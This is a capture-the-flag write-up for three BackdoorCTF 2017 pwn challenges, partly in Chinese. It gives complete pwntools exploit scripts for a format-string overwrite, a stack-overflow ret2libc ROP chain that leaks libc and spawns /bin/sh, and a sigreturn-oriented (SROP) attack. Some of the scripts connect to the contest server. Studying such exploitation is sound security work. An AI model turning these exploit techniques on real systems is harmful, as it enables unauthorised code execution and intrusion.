BackdoorCTF 2017 Pwn Writeup

BABY-0x41414141

eaysy fmt vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.clear(arch = 'i386')
#context.log_level = 'debug'
#io = remote('163.172.176.29', 9035)
io = process('./32_new')

#print io.recvline()
print io.recvuntil('Hello baby pwner, whats your name?\n')
payload = fmtstr_payload(72/4+60, {0x804a034:0x0804870b},numbwritten=72,write_size = 'byte')

raw_input('pause')

io.sendline('aa'+payload)

print io.recvall(timeout = 2)

io.close()

JUST-DO-IT

1
2
3
4
5
6
7
pwndbg> checksec
[*] '/home/swing/Desktop/CTF-Pwn/backdoor/justdoit/32_chal.dms'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

IDA:

栈溢出:

尝试覆盖eip

1
"A"*0x64+"BBBB"+"CCCC"+"DDDD"


所以当我们当输入为 112 + 4的时候能覆盖eip,我们就能控制程序跳转

exploit 编写

因为题目开启了NX,所以思路是构造leak,去泄漏计算libc地址,然后计算system 地址,构造rop

ropchain

1
2
3
4
5
6
ropchain = "A"*112
ropchain += p32(write_plt)
ropchain += p32(main_addr)
ropchain += p32(1)
ropchain += p32(read_got)
ropchain += p32(4)

但是 最后我发现我得到远程一直断,然后发现他给的libc有问题

第二次栈溢出的时候重新计算 距离eip的距离

1
2
payload = "A"*104
payload += p32(system_addr)

将会覆盖eip为system地址
所以第二段payload构造为:

1
2
3
4
payload = "A"*104
payload += p32(system_addr)
payload += "BBBB"
payload += p32(binsh_addr)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python
# coding=utf-8
from pwn import *
ip = "163.172.176.29"
port = 9036

elf = ELF("./32_chal.dms")


write_plt = elf.plt['write']
printf_got = elf.got['printf']
read_got = elf.got['read']
main_addr = 0x804847d

if len(sys.argv) >1:
debug = True
local = True
else:
debug = False
local = True
if local:
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = next(libc.search("/bin/sh"))
else:
libc = ELF("./libc.so.6")
read_offset = 0xd4350
system_offset = 0x3a940
binsh_offset = 0x15900b

if debug:
#io = process("./32_chal.dms",env = {"LD_PRELOAD":'./libc.so.6'})
io = process("./32_chal.dms")
pause()
else:
io = remote(ip,port)
context.log_level = 'debug'


ropchain = "A"*112
ropchain += p32(write_plt)
ropchain += p32(main_addr)
ropchain += p32(1)
ropchain += p32(read_got)
ropchain += p32(4)

io.recv()

io.sendline(ropchain)

read_addr = u32(io.recv(4))
log.info("read_addr: 0x%x" % read_addr)
libc_base = read_addr - read_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

#log.info("system_offset:0x%x" % libc.symbols["system"])
#log.info("binsh_offset: 0x%x" % next(libc.search("/bin/sh\x00")))
log.info("system_addr: 0x%x" % system_addr)
log.info("binsh_addr: 0x%x" % binsh_addr)
gdb.attach(io,'''break *0x80484b9''')
pause()
payload = "A"*104
payload += p32(system_addr)
payload += "BBBB"
payload += p32(binsh_addr)
io.recv()
pause()
io.sendline(payload)
#io.recv()
io.interactive()

FUNSIGNALS


syscall 先是调用read

但是没有ret 很干阿。。。

但是发现他调用了 sys_rt_sigreturn 卧槽 这不是srop吗…

发现其实flag是写在bin程序里的

所以只要构造rop,调用writeup,将这个flag读出来就可以了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.arch = "amd64"
context.log_level = 'debug'

frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = 0x10000023 #flag string address
frame.rdx = 50 #read size
frame.rsp = 0xABADCAFE
frame.rip = 0x10000015 #syscall gadget

io = process("./player_bin.dms")
gdb.attach(io)
pause()
#io = remote("163.172.176.29", 9034)
io.send(str(frame))

pause()
io.interactive()